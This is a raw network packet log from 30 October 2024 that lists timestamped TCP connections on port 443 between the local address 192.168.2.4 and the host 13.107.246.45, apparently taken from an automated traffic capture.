Oct 30, 2024 07:28:32.314836025 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.317549944 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.317619085 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.317708969 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.317867994 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.317910910 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.335608006 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.335640907 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.335692883 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.335793972 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.336024046 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.336024046 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.336051941 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.336072922 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.338898897 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.338963985 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.340683937 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.341556072 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.341583967 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.619657993 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.619692087 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.845016956 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.845782042 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.845822096 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.846149921 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.846159935 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.973803997 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.973906994 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.974066019 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.974178076 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.974380016 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.974436045 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.974467993 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.974486113 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.977368116 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.977469921 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.977556944 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.977694035 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.977720022 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.981173038 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.981590033 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.981617928 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:32.982057095 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:32.982069969 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.053488016 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.055032015 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.055062056 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.055581093 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.055587053 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.076416016 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.077066898 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.077084064 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.077511072 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.077516079 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.090075016 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.090598106 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.090666056 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.091006994 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.091022968 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.109882116 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.109951973 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.110217094 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.110320091 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.110320091 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.110363960 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.110388041 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.113152027 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.113197088 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.113317013 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.113459110 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.113467932 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.187947035 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.188023090 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.188219070 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.188219070 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.188219070 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.191129923 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.191226959 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.192004919 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.192164898 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.192195892 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.211288929 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.211468935 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.211797953 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.211932898 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.211956978 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.211970091 CET	49987	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.211975098 CET	443	49987	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.214939117 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.214999914 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.215118885 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.215234041 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.215245008 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.232994080 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.233083963 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.233304977 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.233393908 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.233395100 CET	49986	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.233436108 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.233464003 CET	443	49986	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.235697985 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.235750914 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.235817909 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.235975981 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.235990047 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.494787931 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.494843960 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.722379923 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.726926088 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.726974010 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.727365017 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.727370977 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.833333015 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.834069014 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.834111929 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.834553003 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.834562063 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.856199026 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.856292963 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.856508970 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.856591940 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.856615067 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.856626987 CET	49988	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.856637001 CET	443	49988	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.859558105 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.859601974 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.859704018 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.859909058 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.859920979 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.919823885 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.920804024 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.920840979 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.921190023 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.921195030 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.948002100 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.949440002 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.949467897 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.949819088 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.949825048 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.970251083 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.970323086 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.970371008 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.970598936 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.970621109 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.970632076 CET	49989	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.970638037 CET	443	49989	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.974220991 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.974263906 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.974332094 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.974483013 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.974494934 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.979430914 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.980001926 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.980015039 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:33.980840921 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:33.980845928 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.050143957 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.050230026 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.050302982 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.050492048 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.050510883 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.050520897 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.050527096 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.053170919 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.053208113 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.053364992 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.053508997 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.053519964 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.078412056 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.078452110 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.078497887 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.078512907 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.078545094 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.084916115 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.084934950 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.084952116 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.084956884 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.087440968 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.087481976 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.087548018 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.087692022 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.087702990 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.110893965 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.110950947 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.111208916 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.111254930 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.111254930 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.111274004 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.111287117 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.114046097 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.114087105 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.114202976 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.114399910 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.114415884 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.597116947 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.597908974 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.597920895 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.598546982 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.598552942 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.709343910 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.712260962 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.712291002 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.712649107 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.712655067 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.727763891 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.727927923 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.728092909 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.728177071 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.728193045 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.728231907 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.728238106 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.730447054 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.730487108 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.730573893 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.730684042 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.730695009 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.781287909 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.783652067 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.783667088 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.784053087 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.784058094 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.816056967 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.816591978 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.816607952 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.817003012 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.817007065 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.841020107 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.841087103 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.841283083 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.841324091 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.841324091 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.841345072 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.841355085 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.842844963 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.843854904 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.843897104 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.844213009 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.844213009 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.844228983 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.844341993 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.844348907 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.844573021 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.844578028 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.910813093 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.910839081 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.910897970 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.910921097 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.910969019 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.911173105 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.911191940 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.911211967 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.911217928 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.913711071 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.913733006 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.913798094 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.913916111 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.913928986 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.945972919 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.946008921 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.946064949 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.946192980 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.946393967 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.946417093 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.946460009 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.946465015 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.948954105 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.949002028 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.949069977 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.949182034 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.949196100 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.973030090 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.973063946 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.973109007 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.973300934 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.973300934 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.973661900 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.973661900 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.973679066 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.973695040 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.976216078 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.976253033 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:34.976346016 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.976490021 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:34.976501942 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.486166954 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.488725901 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.488766909 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.489171982 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.489177942 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.574327946 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.575062990 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.575083017 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.575331926 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.575337887 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.618632078 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.618727922 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.618787050 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.618917942 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.618937016 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.618959904 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.618966103 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.621566057 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.621611118 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.621682882 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.621851921 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.621862888 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.657073975 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.657974958 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.657988071 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.658287048 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.658293009 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.774513960 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.775486946 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.775511980 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.776004076 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.776009083 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.788441896 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.789443970 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.789629936 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.789629936 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.789629936 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.792123079 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.792165995 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.792243958 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.792397022 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.792411089 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.858144045 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.858175993 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.858226061 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.858253956 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.858297110 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.858495951 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.858495951 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.858517885 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.858530045 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.860984087 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.861051083 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.861119032 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.861251116 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.861263037 CET	443	50005	13.107.246.45	192.168.2.4
